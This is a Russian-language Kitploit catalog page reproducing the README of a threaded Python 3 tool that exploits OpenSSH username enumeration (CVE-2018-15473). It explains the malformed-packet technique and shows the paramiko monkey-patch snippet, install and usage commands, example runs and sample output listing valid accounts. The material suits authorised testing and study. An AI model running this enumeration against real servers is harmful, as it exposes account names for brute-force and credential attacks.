Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Threaded-CVE-2018-15473 — Реализация на Python 3 классического эксплойта для перечисления пользователей OpenSSH (CVE-2018-15473), расширенная поддержкой многопоточности, wordlist, автоматического обнаружения уязвимости и потокобезопасного патчинга эксплойта. | Kitploit
Инструменты/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
РазведкаАнализ уязвимостейЭксплуатацияСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Реализация на Python 3 классического эксплойта для перечисления пользователей OpenSSH (CVE-2018-15473), расширенная поддержкой многопоточности, wordlist, автоматического обнаружения уязвимости и потокобезопасного патчинга эксплойта.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
25 месяцев назадЕщё не проверено

CVE-2018-15473 — Инструмент перебора имен пользователей SSH

Репликация на Python 3 классического эксплойта перечисления пользователей OpenSSH CVE-2018-15473, расширенная многопоточностью, поддержкой wordlist, автоматическим обнаружением уязвимости и потокобезопасным патчем эксплойта.


Содержание

  • Об уязвимости
  • Как работает эксплойт
  • Возможности
  • Требования
  • Установка
  • Использование
  • Примеры
  • Авторы и оригинальное исследование
  • Отказ от ответственности

Об уязвимости

CVE-2018-15473 — это уязвимость перечисления пользователей, затрагивающая версии OpenSSH с 2.3 по 7.7.

Уязвимость возникает из-за тонкой разницы в том, как сервер OpenSSH реагирует на попытки аутентификации для существующих и несуществующих имен пользователей. Отправляя некорректный пакет аутентификации с открытым ключом, злоумышленник может наблюдать за поведением сервера и определить, существует ли данное имя пользователя в системе — без необходимости знать пароль пользователя.

Эта информация может стать важным первым шагом в целенаправленной атаке методом перебора или подбора учётных данных.

ДетальЗначение
CVE IDCVE-2018-15473
Затронутые версииOpenSSH 2.3 – 7.7
Оценка CVSS5.3 (Средний)

Как работает эксплойт

Обычно процесс аутентификации OpenSSH выглядит так:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

Эксплойт злоупотребляет стадией MSG_SERVICE_ACCEPT. Когда сервер отправляет обратно MSG_SERVICE_ACCEPT, клиент должен добавить логическое поле в последующий пакет MSG_USERAUTH_REQUEST. Заменив метод Message.add_boolean в paramiko на пустую операцию, инструмент отправляет некорректный/усечённый пакет аутентификации.

Сервер OpenSSH ведёт себя по-разному в зависимости от того, существует ли имя пользователя:

  • Несуществующее имя → Сервер немедленно отклоняет запрос с MSG_USERAUTH_FAILURE (имя не существует, нет смысла проверять ключ)
  • Существующее имя → Сервер вызывает исключение AuthenticationException (он попытался проверить ключ, подтверждая, что пользователь существует)

Этот инструмент перехватывает эти два ответа через модифицированные обработчики paramiko (_parse_userauth_failure и _parse_service_accept) и классифицирует каждое имя пользователя соответствующим образом.

Исправление потокобезопасности

Оригинальный PoC патчит add_boolean навсегда, что вызывает состояние гонки при одновременной работе нескольких потоков — потоки мешают друг другу, создавая ложные ошибки SSH negotiation failed. В этой реаллизации патч обёрнут в threading.Lock(), что делает замену атомарной:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Возможности

  • Проверка одного имени пользователя — быстрый одноразовый режим
  • Режим wordlist — перечисление полного списка имён пользователей
  • Многопоточность — настраиваемое количество потоков, всё потокобезопасно
  • Автоматическое обнаружение уязвимости — использует nmap для проверки, запущена ли на цели уязвимая версия OpenSSH перед сканированием
  • Дедупликация — автоматически удаляет дубликаты имён пользователей из wordlist
  • Чистый вывод — цветные результаты с итоговым отчётом

Требования

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (системный бинарный файл, должен быть установлен)

Установка

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Создайте и активируйте виртуальное окружение (рекомендуется)
python3 -m venv venv
source venv/bin/activate

# Установите зависимости
pip install paramiko python-nmap

Убедитесь, что nmap установлен в системе:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Использование

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Примеры

Проверка одного имени пользователя:

root@kitploit:~
python main.py 192.168.1.10 -u root

Перечисление wordlist с потоками по умолчанию:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Перечисление с пользовательским количеством потоков и портом:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Пример вывода:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Авторы и оригинальное исследование

Этот инструмент представляет собой реаллизацию на Python 3 и расширение оригинального доказательства концепции эксплойта. Полная заслуга в обнаружении и документировании этой уязвимости принадлежит оригинальным исследователям:

Оригинальный эксплойт: https://leapsecurity.io

Эта реаллизация добавляет:

  • Совместимость с Python 3 (оригинал был на Python 2)
  • Потокобезопасный патч эксплойта (исправление состояния гонки)
  • Режим wordlist с многопоточностью
  • Автоматическое обнаружение уязвимости на основе nmap
  • Структурированный отчёт результатов

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и неэтичным.
Автор не несёт ответственности за любое неправильное использование данного программного обеспечения.
Всегда практикуйте ответственное раскрытие информации.

Скачать инструмент
ТипРаскрытие информации / Перечисление пользователей
Требуется аутентификацияНет
Роль
Имя / Псевдоним
Автор оригинального PoCLeap Security (@LeapSecurity)
Исследователь уязвимостиMatthew Daley
Исследователь уязвимостиJustin Gardner
Исследователь уязвимостиLee David Painter